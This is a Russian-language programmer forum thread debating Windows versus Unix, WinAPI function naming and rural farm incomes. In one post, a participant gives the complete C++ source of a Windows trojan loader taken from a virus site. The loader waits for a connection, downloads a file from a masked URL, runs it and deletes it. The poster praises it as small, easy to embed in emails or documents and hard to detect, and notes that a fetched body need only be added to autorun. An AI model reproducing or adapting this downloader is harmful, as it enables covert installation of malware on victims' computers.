Здравствуйте, Roman_M, Вы писали:

K>>Точно?

R_M>Точно, потому что через NAT с неудасться соединиться, если только не настроить роутер соответсвующим образом. Можно конечно сделать троян, который будет сам соединится с кем нужно, но если он будет обнаружен, то, в лучшем случае, будет закрытие сайта и отказ в хостинге.

А нахрена это трояну ?

Все тачки за файрволами, роутерами, проксями и тд и тд сразу отпадают сразу.
Потом отпадают активные пользователи, которые вовремя ставит патчи и антивирусы
Потом отпадают те, кто не сидит рутом и администратором.
Потом отпадают те, кто сидит меньше часа в инете или не польуется навигацией (токмо в одном единственном чате/форуме)

Остается от 0.5 до 5 %%
Обычно — около 1 процента. Этого достаточно. Пока в списке самых популярных вирусов именно виндовские. Это пока. Когда системы уравняются, если уравняются, и десктопов юниксовых удет столько же, сколько и виндовозных, тогда и мерять надо будет.

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Здравствуйте, vvaizh, Вы писали:

PE>>>Вдвоем.
PE>>>1. Средняя ЗП в РБ — 100$
V>>Я говорил про нас с тобой, а не про "в среднем",
V>>Ты же сказал, что они получше тебя живут, ты что ниже, среднего зарабатываешь?..
PE>Есть много таких, которые живут лучше. Я же сказал — за пять лет чел квартиру купил.
PE>У меня за пять лет такого не выйдет.
У меня вот за 3 получается

V>>Кроме того, ты не учитываешь ихние затраты на это "производство"..
V>>По моим подсчётам, "производство" моей матерью овощей и фруктов
V>>на огороде обходится дороже, чем как если бы покупать их в магазине..
PE>Так это пролемы твои, если не можешь хозяйство организовать.
См. выше

PE>Мои родители частенько выходят на рынок первыми — теплица с отоплением, друге только накрывают теплицы.
1. Чем топят?
2. Это в простой деревне, или на огороде "сразу через улицу"?
3. сколько стоит топливо, и откуда вы его берёте?

PE>>>2. Лето — это 3 месяца, а не 12. Еще есть весна и осень.
V>>Т.е. по твоему крестьянин зимой и осенью тоже деньги где то заколачивает?
PE>Два урожая в год огурцов или помидоров — это запросто. Мои родители только один обеспечивают.
PE>Они еще и работают сами и во втором урожае нет необходимости и времени на рынке торчать тож нету.
Ну дык в отм то и дело... ты до конца считай.. тут простое умножение доходов
"самого прибыльного месяца" на 12 не кактит..

PE>Другие люди занимаются виноградом, клуникой, вишней, купуста,зелень всякая. Осенью — картошока,яблоки.
PE>Яблоки можно аж до весны продавать.
PE>Короче — кто хочет, то живет неплохо.
Но, как я понимаю, толком устойчивое производство обеспечить не может?

PE>У меня таких знакомых очень много.
PE>Участка в 20 соток хватает за глаза на двух человек. ВСЕ затраты окупаются !
Короче хватеет только на то чтобы не умереть с голоду?

Ещё одна причина — поддуржка вашего с/х батькой..
На не знаю на какие деньги..

А теперь прикинь: на западе фермер вполне может своих детей учиться послать, за бабки..
Но — они там практически все едят всякую гадость, потому что иначе дорого..

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Здравствуйте, vvaizh, Вы писали:

PE>>>Вот видишь. Теперь ты согласен на ничью чтоль ?

V>>На какую ничью? Я тебе всю дорогу объясняю, что по возможностям Unix ни в
V>>чём не уступает Win, а по стоимости дешевле..

PE>Опять ты про стоимость. Затраты на Юникс другие и в лучшем случае раза в полтора только меньше.
PE>Разница в том, когда ты платишь деньги и на что ты тратишь.
PE>Если не тратишь на суппорт, но вынужден будешь нанять челов для обслуживания.

Для win нанимают челов для обслуживания..

V>>Тэзис, о том что на вынь всё работает (т.е. о совместимости) везде был твой..
V>>Я его опрооверг..
PE>Ничего ты не опровергал. Кроме Diamong English ты ничего не сказал.

1. чтобы опровергнуть утверждение, достаточно привести 1! контрпример, я его привёл..
2. MSSQL — второй пример
3. Я привожу только то, с чем столкнулся сам, ваши споры о ZipMagic я даже не трогал..
4. Вот недавно принёс болванку с фильмом, и чего то у меня на одном компе изображения
нету, а на другом есть, к чему бы это..?
5. Я конечно привожу не точные цифры, но насколько я в курсе, каждый новый релиз Win
сопровождается публикацией списка ПО (который составляется в MS),
не совместимого с новой платформой..
ИМХО размеры таких списков — несколько сот наименований

V>>Мой был тэзис о простоте переносимости.. Ты с ним уже не споришь..
PE>Переносимость мне не нужна. Я просто копирую на дискетку — вот и вся переносимость.
PE>Остальные делают точно так же.

Т.е. ты таки не споришь, что под вынь нет переносимости и упираешь
на совместимость?
(
переносимость — легко пересобирается на новой платформе
совместимость — работает на новой платформе баз всякой пересборки
)
Про совместимость смотри выше

PE>Ты еще make вспомни.
Непременный аттрибут переносимости которого на вынь нет,
как и самой переносимости

Здравствуйте, Plutonia Experiment, Вы писали:

M>>>Преимущества длинных идентификаторов так же очевидны, как и их недостатки. Что делает CreateSemaphore понятно без документации.

R_M>>Это преимущество актуально для тех, кто не удосужился эту документацию прочитать, а тем, кто по 50 раз в день набирает CreateSemaphore, это не актуально. Не факт, что semget удачное название, но и CreateSemaphore тоже не самый хороший вариант.

PE>CreateSemaphore — понятно без контекста, что делает. Semget — тож понятно, но только юниксоиду.
PE>А что скажете про

PE>

PE>tee()
PE>

PE>Это функцию мало кто знает, потому, что она есть только в Xenix. Но вот догадайтесь по имени, что она делает ?

Я её тоже не знаю, потому что с Xenix не знаком. И догадываться не собираюсь, нормальные программисты знают базовые функции той системы с которой работают, а не пишут наугад. Если возникают проблемы то смотрят reference по данному вопросу, а далее по ссылкам соответсвющие функции. А программирование, где если нужно сделать семафор, думают типа: мне нужен семафор, напишу-ка я что-нибудь типа CreateSemaphore — ой, надо же, работает, трудно назвать программированием.

PE>В случае с WinAPI документация зачастую не нужна. Нужно запомнить несколько вещей.

Программы, писанные теми, кто не читал документацию, особенно секции "remarks" обычно перестают работать уже на следующей версии системы, неговоря уж о непереносимости между 9x и NT.

PE>Есть несколько групп функций и каждая группа именуется по своему.
PE>Оъекты синхронизации — всегда в начале LPSECURITY_ATTRIBUTES, в конце — имя.
PE>Это мутексы, евенты и семафоры.

А вот недавно пришел к выводу, что порядок аргументов неудобный, т.к. как LPSECURITY_ATTRIBUTES используются редко, особенно, для локальных(неименованных) объектов, а потому для них было бы выгодно использовать параметры по умолчанию, типа EXTERNC HANDLE __declspec(dllimport) sem_create(LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName = NULL, LPSECURITY_ATTRIBUTES lpSemaphoreAttributes = NULL).

PE>Для оконных оъектов в начале всегда передается HWND.
PE>В структурах те же самы принципы организации. Имена всегад читаемые и понятные всем.

Залезь поглубже в структуры для функций печати, там все граздо хуже, например вместо lp используется p.


M>>>Причём, при большем количестве идентификаторов, большей сложности кода, преимущества становятся важнее.
R_M>>Преимущество данного идентификатора при любом не очевидны, т. к. CreateSemaphore — одна из основных функций системы, такие вещи нужно знать на память.
PE>Ее знать не нужно. Использовать ее приходится достаточно редко. А параметры замоминать не нужно.

Хоть CreateSemaphre используется реже, чем CreateEvent или CreateMutex знать об её существовании нужно четко, так как это один базовых элементов межпроцессного взаимодействия. Параметрызапоминать не нужно, они вместе с именами констант сами запоминаются при постояноой работе.

PE>Подумай на досуге, какие параметры могут быть у функции tee()

Какок смысл об этом думать, если я не знаю зачем она нужна.

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Здравствуйте, vvaizh, Вы писали:

PE>>>Это я сам могу посмотреть. Но ты подумай, какой резон записывать на диски то, что работать с системой не будет ?
V>>Производство дистрибов для Linux заключается не в том, чтобы просто накидать на них всё
V>>имеющееся свободное ПО, и написать инсталлятор..
V>>Главное — проверить все пакеты что накидал на совместимость!
PE>Про что я и говорю. На дисках только то, что хорошо работает. И ничего это не показывает.

Ну как это, это показывает совместимость..
Ты же говоришь: посмотри, какая она хорошая, как много ПО работает и там и там..
Я отвечаю, что и на Linux до хера ПО которое работает и там и там..

PE>Ты возьми разне дистрибутивы и сравни, сколько программ откажется работать.
А я говорил про разные версии одного и того же дистрибутива

PE>У меня мандрейковский инсталятор (не не умею я руками ставить) отвалился на Редхате.
PE>KDev не работал на там же. Зато под мандрейком отлично рубается.

Честно говоря, я ничего не понял..
Я инсталлятором назвал, прогу, которая устанавливает весь Linux с нуля..
А ты что назвал инсталлятором? пакет что ли?

PE>БД используется та, которую захотел заказчик.
Только никто ему не гарантирует, что она будет работать на следующей версии Windows

Здравствуйте, Plutonia Experiment, Вы писали:


R_M>>Конечно развита, но это нельзя назвать индустрией, есть отдельные команды, которые делают что-то более менее серьезное, но не всегда за деньги.

PE>Что ты называешь индустрией ? Юридические лица, которые принимают официальные заказы ?
PE>Это же черный рынок.
PE>Редкий программист не сталкивается с подобными вещами прямо или косвенно.

Максимум, с чем сталкивался я, так это относительно безобидная накручивалка банеров, которая втихую запускается вместе с системой, но ничего не заражает, не рассылает, не ломает и не ворует. Те кто пишет всякие трояны за деньги просто растворяются в в толпе тех, кто делает это для собственного удовлетворения.

PE>>>Для юникса тоже самое, только механизм инфицирования другой. Он сложнее гораздо, но есть.
PE>>>Иначе антивирусы под линухи никто не писал бы.

R_M>>В том-то и дело, что он сложнее, поэтому и всякой гадости будет меньше, с одной стороны потому что затруднено инфецирование и распространение, с другой стороны, потому что сократить число пионеров, которые любят нагадить под дверь соседу, как сократилось их количество при распространении Win95, а потом и WinNT. Вернее они есть и сейчас, просто они делают менее опасные вещи па Visual Basic и скриптах. При распространении Линукса количество таких "хакеров" может еще раз заметно сократиться.

PE>Вирусов сократилось только в начале — мало кто знал, как это сделать. А теперь вирусов для винды больше, чем за всю историю ДОС.

Серьезных вирусов (уровня WinCIH) не так много, "огромную угрозу для человечества" представляют в основном червих, которые "дети кухарок" сами запускают, думаю, что там будет порнокартинка. Пишутся такие вещи порой даже на VB, а тех кто пишет вирь, которые вылазиют на нулевое кольцо, даже иногда и по NT, довольно мало, так как знаний для этого должно быть довльно много. Вирусов стало больше потому, что во много раз возросло число компьютеров, кроме того можно найти в инете исходники вирусов с подробным описанием, модифицировать и запустить под видом своего.

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Здравствуйте, Roman_M, Вы писали:

R_M>>Попробуй в российских условиях (без всяких оговорок на климат, а вообще) производить сельхоз продукцию в крупном объеме и продавать её, да так, чтобы при этом жить хорошо. Для начала попробуй продать сельхоз продукцию на московском рынке по своим ценам. Если это полчится — будет мощный прорыв. Есть только единицы, которые умудряются продавать свою продукцию по договорам с _отдельными_ ресторанами и магазинами.

PE>А что, обязательно быть сельским магнатом ? ЗП выше средней — это так, херня ?

Написано же было, что можно хорошо жить. Это не значит быть магнатом, но на зарплату выше средней (в целом по территориальной единице, а не в отрасли) квартиру за пять лет купить нельзя (построить в селе дом _своими_ руками может и можно), не говоря уж это _хорошей_ квартире.

R_M>>Это все был оффтопик, но суть такова, что и в России сейчас больше денег получают те, кто делает бизнес на дерьме. И это не только в сфере сельского хозяйства, в программировании дела обстоят очень похоже.

PE>Это вобоще везде так к сожалению. Кто умеет продавать, продаст прошлогодний снег.
PE>Все потому, что покупатели головой не думают.

Так не везде (не во всем). И это не просто потому, что покупатели не думают головой, причина комплексная, в одно два предложения я даже это выразить затрудняюсь, да я не могу четко представить себе весь комплекс. Почти все знают, коммерческие напитки (PEPSI, FANTA и т.п.) дрянь, но пьют. Я тоже это знаю и тоже пью (за исключением FANTA и других "апельсиновых" напитов), потому что другого нет. Да, есть соки, но они менее пригодны для упортебления на улице, в дороге и т.п., в том числе, потому что на вкус часто более приятны те самые вредные напитки. Кроме того во многих магазинах просто нет тех напитков, которые, по крайней мере, не очень вредные, потому что стоят они дороже, соответсвено их покупают меньше, иногда даже очень плохо. Кто-то умеет продавать, но кто-то еще и согласен покупать дерьмо, причем даже зная что это дерьмо.

Здравствуйте, vvaizh, Вы писали:

V>4. Вот недавно принёс болванку с фильмом, и чего то у меня на одном компе изображения
V> нету, а на другом есть, к чему бы это..?

Монитор выключен?

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Здравствуйте, Roman_M, Вы писали:

K>>>Точно?

R_M>>Точно, потому что через NAT с неудасться соединиться, если только не настроить роутер соответсвующим образом. Можно конечно сделать троян, который будет сам соединится с кем нужно, но если он будет обнаружен, то, в лучшем случае, будет закрытие сайта и отказ в хостинге.

PE>А нахрена это трояну ?

Не знаю. Автор вопроса спрашивает, точно ли там не будеи работать троян, я и ответ по поводу традиционных троянов.

PE>Остается от 0.5 до 5 %%
PE>Обычно — около 1 процента. Этого достаточно. Пока в списке самых популярных вирусов именно виндовские. Это пока. Когда системы уравняются, если уравняются, и десктопов юниксовых удет столько же, сколько и виндовозных, тогда и мерять надо будет.

Кстати, было бы интересно узнать мнение вирусологов на счет того какими будут вирусы в Linux, если он станет очень популярен в виде десктоп системы. Несколько лет назад на пресконференции у касперского спросили на счет распространения вирусов под Linux, он ответил что-то непонятное/несуразное на счет того, что пользователи приносят вирусы и заражают ими root'а и сказал что у него есть большие прогнозы по поводу распространения вирусов в мобильных телефонах и прочих подобных устройствах.

Здравствуйте, vvaizh, Вы писали:

PE>>Опять ты про стоимость. Затраты на Юникс другие и в лучшем случае раза в полтора только меньше.
PE>>Разница в том, когда ты платишь деньги и на что ты тратишь.
PE>>Если не тратишь на суппорт, но вынужден будешь нанять челов для обслуживания.

V>Для win нанимают челов для обслуживания..

Ну да. Года полтора назад у нас было на 150 человек, из них 1 администратор локальный, 1 внешний и 1 прокладывал, чинил кабели сетевые.

V>1. чтобы опровергнуть утверждение, достаточно привести 1! контрпример, я его привёл..

Я сказал — что это минимум 95%(снизу в верх). Вот и засунь свои прожки в (100-95) = 5 %.

V>2. MSSQL — второй пример

Его туда же.

V>3. Я привожу только то, с чем столкнулся сам, ваши споры о ZipMagic я даже не трогал..

V>4. Вот недавно принёс болванку с фильмом, и чего то у меня на одном компе изображения
V> нету, а на другом есть, к чему бы это..?

А кодеки инсталить не пробовал ?

V>5. Я конечно привожу не точные цифры, но насколько я в курсе, каждый новый релиз Win
V> сопровождается публикацией списка ПО (который составляется в MS),
V> не совместимого с новой платформой..

Ну да. Ты в курсе, что мирософт не фиксит баги, если написано слишком много программ.
Почитай KB и открой истину.

V> ИМХО размеры таких списков — несколько сот наименований

100000 — это много или мало ?
Какое общее количество программ ?
100001 или 1000000000000000 или 100 ?

У меня вот KDev с трудом работает в XMMS звука не дает. Но я же не говрю, что в юниксе 50% совместимость, потому, что я юзаю окромя этого MC и gcc.


V>Т.е. ты таки не споришь, что под вынь нет переносимости и упираешь
V>на совместимость?

Нахрена козе баян ? У меня ТОЛЬКО ОДИН знакомый, который использует ТОЛЬКО линукс и ничего Виндошного !
НИ ОДНОГО чела с тачкой отличной от х86. Есть спектрумы, один с Амигой, несколько с Палмами.
Но все имеют Пни или Дуроны-Атлоны в ноутуках или обычных тачках.

Для чего мне переносимость ?

V>переносимость — легко пересобирается на новой платформе

Отлично. Подари мне и моим друзьям по Маку и я задумаюсь над этим.

V>совместимость — работает на новой платформе баз всякой пересборки

Ничего пересобирать не надо между виндовсами под х86. Один билд на ВСЕ системы.

V>Непременный аттрибут переносимости которого на вынь нет,
V>как и самой переносимости

Что я тебе и говорю. Нахрена он там ?

Мы пили пиво осенью, все программеры — с работы шли. Втесался штангист и говорит — программеры это гомики, потому что бицепсов нет и ноги жидкие.
Я так понял ты такой же штангист ?

Здравствуйте, Plutonia Experiment, Вы писали:

PE>Мы пили пиво осенью, все программеры — с работы шли. Втесался штангист и говорит — программеры это гомики, потому что бицепсов нет и ноги жидкие.
PE>Я так понял ты такой же штангист ?

Ты меня правильно понял.. только я ещё и программист..

В общем мне надоел этот спор..
Вывод такой:
1. windows бесспорно дороже
2. ничего бесспорно "лучшего" под windows нет..

а вопрос о том, переходить, или нет, каждый _для_себя_ решает сам

Здравствуйте, Roman_M, Вы писали:

R_M>Максимум, с чем сталкивался я, так это относительно безобидная накручивалка банеров, которая втихую запускается вместе с системой, но ничего не заражает, не рассылает, не ломает и не ворует. Те кто пишет всякие трояны за деньги просто растворяются в в толпе тех, кто делает это для собственного удовлетворения.

У меня стоит каперский и филтр на почту. Но вот подхватил вирус. Узнал о нем случайно — чз StartEd.
Никто его не обнаружил. Замечают в первую очередь те вирусы, которые громко о себе кричат.
Нормальный вирь или троян так не делает.

Вот типичный представитель — вирус, который выкачивает тело из инета. Не является червем.
Червь еще дополнительно рассылает себя сам.

Этот вирус занимает 2.5кб кода. Его можно вставить куда угодно — в емейл, страничку, документ и тд и тд.
Взял я его с одного из тех сайтов, о которых говрил раньше.
Обнаружить его очень сложно. Для модификации достаточно перекомпилировать и перелинковать.

// loader.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

#include <Urlmon.h>

//#define DBG

#ifdef DBG
#define TRACE(x) OutputDebugString(x);
#endif
#ifndef DBG
#define TRACE(x)  ;
#endif

char* urls[] = {"http:\\\\ххххххххххххххххх"};
int cnt = 1;

typedef BOOL (__stdcall * pfnInternetGetConnectedState)(
    LPDWORD lpdwFlags,
    DWORD dwReserved
);

BOOL wait_connect(DWORD* pdwStat);

void New_WinMain()
{
    char fname[MAX_PATH];
    HRESULT hr;
    
    for(int i = 0; i<cnt;i++)
    {
        DWORD dwState;

        wait_connect(&dwState);

        TRACE("Download started\n");
        hr = URLDownloadToCacheFile(NULL,urls[0],fname,MAX_PATH,0,NULL);
        if(SUCCEEDED(hr))
        {
            STARTUPINFO si;
            PROCESS_INFORMATION pi;
            
            ZeroMemory( &si, sizeof(si) );
            si.cb = sizeof(si);
            ZeroMemory( &pi, sizeof(pi) );
            
            if(!CreateProcess( fname,"",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi )) 
            {
                TRACE("CreateProcess failed.");
                continue;
            }
            
            TRACE("Waiting for install...\n");
            WaitForSingleObject(pi.hProcess,INFINITE);
            
            DeleteFile(fname);
            
            TRACE("File deleted !\n");
            
            break;
        }
        else
        {
            TRACE("Download failed !\n");
        }
    }
    
    ExitProcess(0);
}

BOOL wait_connect(DWORD* pdwStat)
{
    BOOL bRet;
    HMODULE hm = LoadLibrary("wininet.dll");
    BOOL bConnect = FALSE;
    pfnInternetGetConnectedState InternetGetConnectedState;
    
    if(hm == NULL)
        return FALSE;
    
    InternetGetConnectedState = (pfnInternetGetConnectedState)GetProcAddress(hm,"InternetGetConnectedState");
    if(InternetGetConnectedState == NULL)
        return FALSE;
    
    do
    {
        TRACE("Waiting...\n");
        Sleep(100);
        bRet = InternetGetConnectedState(pdwStat,0);
        bConnect = ((*pdwStat) & 0x40 == 0x40);
    }
    while(!bConnect);

    if(bConnect)
        TRACE("Internet connection\n");
    
    FreeLibrary(hm);
    
    return bRet;
}

R_M>Серьезных вирусов (уровня WinCIH) не так много, "огромную угрозу для человечества" представляют в основном червих, которые "дети кухарок" сами запускают, думаю, что там будет порнокартинка. Пишутся такие вещи порой даже на VB, а тех кто пишет вирь, которые вылазиют на нулевое кольцо, даже иногда и по NT, довольно мало, так как знаний для этого должно быть довльно много. Вирусов стало больше потому, что во много раз возросло число компьютеров, кроме того можно найти в инете исходники вирусов с подробным описанием, модифицировать и запустить под видом своего.

Klez-подобных тысячи например. И не надо нулевых колец. Достаточно выкачать из инета тело и прописать его в Авторан.

Здравствуйте, Roman_M, Вы писали:

R_M>Здравствуйте, Plutonia Experiment, Вы писали:

M>>>>Преимущества длинных идентификаторов так же очевидны, как и их недостатки. Что делает CreateSemaphore понятно без документации.

R_M>>>Это преимущество актуально для тех, кто не удосужился эту документацию прочитать, а тем, кто по 50 раз в день набирает CreateSemaphore, это не актуально. Не факт, что semget удачное название, но и CreateSemaphore тоже не самый хороший вариант.

PE>>CreateSemaphore — понятно без контекста, что делает. Semget — тож понятно, но только юниксоиду.
PE>>А что скажете про

PE>>

PE>>tee()
PE>>

PE>>Это функцию мало кто знает, потому, что она есть только в Xenix. Но вот догадайтесь по имени, что она делает ?

R_M>Я её тоже не знаю, потому что с Xenix не знаком. И догадываться не собираюсь, нормальные

А как ты догадался, что CreateSemaphore создает именно семафор ?



PE>>Подумай на досуге, какие параметры могут быть у функции tee()

R_M>Какок смысл об этом думать, если я не знаю зачем она нужна.

В том то и дело. Откуда ты узнал, что CreateSemaphore создает именно семафор ?

Знаешь, что делает функция sema_init и в чем отличие от semget ?

Здравствуйте, Roman_M, Вы писали:

PE>>Это вобоще везде так к сожалению. Кто умеет продавать, продаст прошлогодний снег.
PE>>Все потому, что покупатели головой не думают.

R_M>Так не везде (не во всем). И это не просто потому, что покупатели не думают головой, причина комплексная, в одно два предложения я даже это выразить затрудняюсь, да я не могу четко представить себе весь комплекс. Почти все знают, коммерческие напитки (PEPSI, FANTA и т.п.) дрянь, но пьют. Я тоже это знаю и тоже пью (за исключением FANTA и других "апельсиновых" напитов), потому что другого нет. Да, есть соки, но они менее пригодны для упортебления на улице, в дороге и т.п., в том числе, потому что на вкус часто более приятны те самые вредные напитки. Кроме того во многих магазинах просто нет тех напитков, которые, по крайней мере, не очень вредные, потому что стоят они дороже, соответсвено их покупают меньше, иногда даже очень плохо. Кто-то умеет продавать, но кто-то еще и согласен покупать дерьмо, причем даже зная что это дерьмо.

А я не пью. Я пью минералку. На счет остального — покупаю то, в чем уверен(жена работает в сертификации).

Здравствуйте, Roman_M, Вы писали:

PE>>Остается от 0.5 до 5 %%
PE>>Обычно — около 1 процента. Этого достаточно. Пока в списке самых популярных вирусов именно виндовские. Это пока. Когда системы уравняются, если уравняются, и десктопов юниксовых удет столько же, сколько и виндовозных, тогда и мерять надо будет.

R_M>Кстати, было бы интересно узнать мнение вирусологов на счет того какими будут вирусы в Linux, если он станет очень популярен в виде десктоп системы. Несколько лет назад на пресконференции у касперского спросили на счет распространения вирусов под Linux, он ответил что-то непонятное/несуразное на счет того, что пользователи приносят вирусы и заражают ими root'а и сказал что у него есть большие прогнозы по поводу распространения вирусов в мобильных телефонах и прочих подобных устройствах.

Я не занимался этой дрянью, но знаю, что линукс можно заставить выполнить скрипт на шеле например.
Можно получить права рута и подкинуть скрипт на шеле ему.
Много людей продолжает сидеть под рутом или высокопривелигированным пользователем.

Здравствуйте, vvaizh, Вы писали:

PE>>У меня за пять лет такого не выйдет.
V>У меня вот за 3 получается

А вот чел с огорода своего квартиру купил за пять. Каково ?

PE>>Мои родители частенько выходят на рынок первыми — теплица с отоплением, друге только накрывают теплицы.
V>1. Чем топят?
Уголь покупают. Дрова. Торфобрикет. Еще есть цистерна с ДТ и котел на нем же.

V>2. Это в простой деревне, или на огороде "сразу через улицу"?

А что ты хотел ? В городе перед подъездом или на даче в 6 соток ?

V>3. сколько стоит топливо, и откуда вы его берёте?

Цены не знаю. Но родители постоянно рыщут, чтобы закупить подешевле.
Например деревообрабатывающая фарика не знает, куда спихнуть отходы.
Такие дрова хорошо горят, но возни немеряно с ними. Зато дешево.
Платишь за вывоз.

PE>>>>2. Лето — это 3 месяца, а не 12. Еще есть весна и осень.
V>>>Т.е. по твоему крестьянин зимой и осенью тоже деньги где то заколачивает?
PE>>Два урожая в год огурцов или помидоров — это запросто. Мои родители только один обеспечивают.
PE>>Они еще и работают сами и во втором урожае нет необходимости и времени на рынке торчать тож нету.
V>Ну дык в отм то и дело... ты до конца считай.. тут простое умножение доходов
V>"самого прибыльного месяца" на 12 не кактит..

Я же говорю — активное ЛЕТО == 2000$ валового дохода.

PE>>Другие люди занимаются виноградом, клуникой, вишней, купуста,зелень всякая. Осенью — картошока,яблоки.
PE>>Яблоки можно аж до весны продавать.
PE>>Короче — кто хочет, то живет неплохо.
V>Но, как я понимаю, толком устойчивое производство обеспечить не может?

А для чего ? Если он может за пять лет квартиру купить и больше ничего не надо, в олигархи не метит?

PE>>У меня таких знакомых очень много.
PE>>Участка в 20 соток хватает за глаза на двух человек. ВСЕ затраты окупаются !
V>Короче хватеет только на то чтобы не умереть с голоду?

Я тебе приводил примеры.

V>Ещё одна причина — поддуржка вашего с/х батькой..
V>На не знаю на какие деньги..

Батька поддерживает ТОЛЬКО колхозы. А мои родители поддерживают себя.

V>А теперь прикинь: на западе фермер вполне может своих детей учиться послать, за бабки..
V>Но — они там практически все едят всякую гадость, потому что иначе дорого..

Ну и хрен на них. Я питаюсь отлично, что мне Запад ?

Здравствуйте, vvaizh, Вы писали:

PE>>Мы пили пиво осенью, все программеры — с работы шли. Втесался штангист и говорит — программеры это гомики, потому что бицепсов нет и ноги жидкие.
PE>>Я так понял ты такой же штангист ?

V>Ты меня правильно понял.. только я ещё и программист..

Я про то и говорю. У Olej примерно та же позиция, что и у тебя.
То, что ты штангист или хрен знает кто, не делает тебя ни лучше, ни хуже по сравнению с нештангистами.

Здравствуйте, Plutonia Experiment, Вы писали:

PE>>>У меня за пять лет такого не выйдет.
V>>У меня вот за 3 получается
PE>А вот чел с огорода своего квартиру купил за пять. Каково ?
Один чел погоды не делает.. Не один же он всю республику кормит..
И вообще, ты именно у него покупаешь то чем питаешься?

PE>>>Мои родители частенько выходят на рынок первыми — теплица с отоплением, друге только накрывают теплицы.
V>>1. Чем топят?
PE>Уголь покупают. Дрова. Торфобрикет. Еще есть цистерна с ДТ и котел на нем же.
V>>2. Это в простой деревне, или на огороде "сразу через улицу"?
PE>А что ты хотел ? В городе перед подъездом или на даче в 6 соток ?
Я хотел "в деревне".. т.е. километров за 50-100 до города, где и производится
львинная доля всей сельхоз/продукции..

V>>3. сколько стоит топливо, и откуда вы его берёте?
PE>Цены не знаю. Но родители постоянно рыщут, чтобы закупить подешевле.
PE>Например деревообрабатывающая фарика не знает, куда спихнуть отходы.
PE>Такие дрова хорошо горят, но возни немеряно с ними. Зато дешево.
PE>Платишь за вывоз.
Ага, пиломатериалы в соц. странах тоже офигеннно недооценены

PE>>>>>2. Лето — это 3 месяца, а не 12. Еще есть весна и осень.
V>>>>Т.е. по твоему крестьянин зимой и осенью тоже деньги где то заколачивает?
PE>>>Два урожая в год огурцов или помидоров — это запросто. Мои родители только один обеспечивают.
PE>>>Они еще и работают сами и во втором урожае нет необходимости и времени на рынке торчать тож нету.
V>>Ну дык в отм то и дело... ты до конца считай.. тут простое умножение доходов
V>>"самого прибыльного месяца" на 12 не кактит..
PE>Я же говорю — активное ЛЕТО == 2000$ валового дохода.

ну вот вспомни, и напиши разницу между валовым доходом, и прибылью..

PE>>>Другие люди занимаются виноградом, клуникой, вишней, купуста,зелень всякая. Осенью — картошока,яблоки.
PE>>>Яблоки можно аж до весны продавать.
PE>>>Короче — кто хочет, то живет неплохо.
V>>Но, как я понимаю, толком устойчивое производство обеспечить не может?
PE>А для чего ? Если он может за пять лет квартиру купить и больше ничего не надо, в олигархи не метит?

ну как минимум дать детям образование и выбор как жить дальше..

PE>>>У меня таких знакомых очень много.
PE>>>Участка в 20 соток хватает за глаза на двух человек. ВСЕ затраты окупаются !
V>>Короче хватеет только на то чтобы не умереть с голоду?
PE>Я тебе приводил примеры.
V>>Ещё одна причина — поддуржка вашего с/х батькой..
V>>На не знаю на какие деньги..
PE>Батька поддерживает ТОЛЬКО колхозы. А мои родители поддерживают себя.
V>>А теперь прикинь: на западе фермер вполне может своих детей учиться послать, за бабки..
V>>Но — они там практически все едят всякую гадость, потому что иначе дорого..
PE>Ну и хрен на них. Я питаюсь отлично, что мне Запад ?

Ладно, вникать в ваши Белорусские особенности мне влом..
Что у вас по реальным рыночным ценам, а что нет, я не знаю..
Слишком велика разница с остальным миром, посмотрим что будет лет через пять..

Здравствуйте, Plutonia Experiment, Вы писали:

M>>>>>Преимущества длинных идентификаторов так же очевидны, как и их недостатки. Что делает CreateSemaphore понятно без документации.

R_M>>>>Это преимущество актуально для тех, кто не удосужился эту документацию прочитать, а тем, кто по 50 раз в день набирает CreateSemaphore, это не актуально. Не факт, что semget удачное название, но и CreateSemaphore тоже не самый хороший вариант.

PE>>>CreateSemaphore — понятно без контекста, что делает. Semget — тож понятно, но только юниксоиду.
PE>>>А что скажете про

PE>>>

PE>>>tee()
PE>>>

PE>>>Это функцию мало кто знает, потому, что она есть только в Xenix. Но вот догадайтесь по имени, что она делает ?
R_M>>Я её тоже не знаю, потому что с Xenix не знаком. И догадываться не собираюсь, нормальные
PE>А как ты догадался, что CreateSemaphore создает именно семафор ?

Я не догадался, я прочитал об этом в книжке Фроловых, еще 1998 году.


PE>>>Подумай на досуге, какие параметры могут быть у функции tee()
R_M>>Какок смысл об этом думать, если я не знаю зачем она нужна.
PE>В том то и дело. Откуда ты узнал, что CreateSemaphore создает именно семафор ?
PE>Знаешь, что делает функция sema_init и в чем отличие от semget ?

Что такое sema_init я не знаю, мне известны sem_init (для posix семафора) и semget (это SystemV семафоры).

Здравствуйте, vvaizh, Вы писали:

V>Один чел погоды не делает.. Не один же он всю республику кормит..
V>И вообще, ты именно у него покупаешь то чем питаешься?

Нет. Я уже 8 не живу в том городе.

PE>>А что ты хотел ? В городе перед подъездом или на даче в 6 соток ?
V>Я хотел "в деревне".. т.е. километров за 50-100 до города, где и производится
V>львинная доля всей сельхоз/продукции..

У нас пригород. В деревне бабушка живет. У нее больше двадцати соток, они еще и свиней держит и корову. Покупает в основном хлеб и муку в магазине.

PE>>>>>>2. Лето — это 3 месяца, а не 12. Еще есть весна и осень.
V>>>>>Т.е. по твоему крестьянин зимой и осенью тоже деньги где то заколачивает?
PE>>>>Два урожая в год огурцов или помидоров — это запросто. Мои родители только один обеспечивают.
PE>>>>Они еще и работают сами и во втором урожае нет необходимости и времени на рынке торчать тож нету.
V>>>Ну дык в том то и дело... ты до конца считай.. тут простое умножение доходов
V>>>"самого прибыльного месяца" на 12 не кактит..
PE>>Я же говорю — активное ЛЕТО == 2000$ валового дохода.

V>ну вот вспомни, и напиши разницу между валовым доходом, и прибылью..

Мы бы не держали теплицу, если бы она была убыточная.
Окупается постройка за один-два года. Топливо — максимум месяц торговли. Все.


PE>>А для чего ? Если он может за пять лет квартиру купить и больше ничего не надо, в олигархи не метит?

V>ну как минимум дать детям образование и выбор как жить дальше..

У дядьки этого и дети есть и машина, на которой торговать ездит и гараж и тд.

V>Слишком велика разница с остальным миром, посмотрим что будет лет через пять..

